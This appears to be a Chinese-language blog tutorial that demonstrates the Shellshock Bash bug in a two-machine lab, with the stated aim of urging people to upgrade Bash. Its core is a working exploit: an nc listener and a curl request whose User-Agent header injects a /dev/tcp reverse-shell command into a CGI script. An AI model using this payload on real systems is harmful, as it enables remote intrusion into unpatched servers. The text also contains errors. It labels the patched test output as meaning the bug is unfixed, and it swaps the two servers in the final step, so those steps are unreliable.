利用這個 Bug 可以使遠端使用者得到 root 權限,
所以在此我示範如何呈獻這個攻擊方法,希望大家能儘快升級 Bash 版本修正這個 Bug
Server-1 : 192.168.196.166 (Bash Bug 測試機)
Server-2 : 192.168.196.167 (無 Bash Bug 正常機)
OS 版本:CentOS 6.4 (64-bit)
Bash 版本 :4.1.2
以下安裝步驟為 Server-1 機器上執行
#env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如出現
vulnerable
this is a test
以上訊息則代表 Bash Bug 未被修復
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x' this is a test
以上訊息則代表 Bash Bug 未被修復
2. 如確認 Bash 依然未被修復,請安裝 Apache Server 並開啟 cgi 功能
#yum install httpd
#vi /etc/httpd/conf/LoadModule cgi_module modules/mod_cgi.so
...
LoadModule cgi_module modules/mod_cgi.so
...
...
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
...
...
Options +ExecCGI
AddHandler cgi-script .cgi .pl
AllowOverride None
Options None
Order allow,deny
Allow from all
...
#/etc/init.d/httpd start
4. 切換至 cgi 目錄
#/var/www/cgi-bin
5. 編輯新的 cgi 檔案
#vi test.cgi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Hi this is test"
6. 變更檔案權限
#chmod 755 test.cgi
以下步驟為 Server-2 利用 Bug 取得 Server-1 的使用者權限
7. 請在 Server-2(無 Bash Bug 正常機) 開啟終端機,並使用 nc 指令開機監聽 port
$nc -l 4444
8. 接著也請在 Server-2 中執行 curl 瀏覽 Server-1 的 cgi 網頁
$curl -A "() { :;}; /bin/bash -i >& /dev/tcp/192.168.196.167/4444 0>&1" http://192.168.196.166/cgi-bin/test.cgi
9. 最後在有執行 nc 指令的終端機中,就會發現可以執行 Server-2 啟動 apache 的使用者權限
PS:關於該 Bug 的說明,以下網址解釋的蠻清楚的
沒有留言:
張貼留言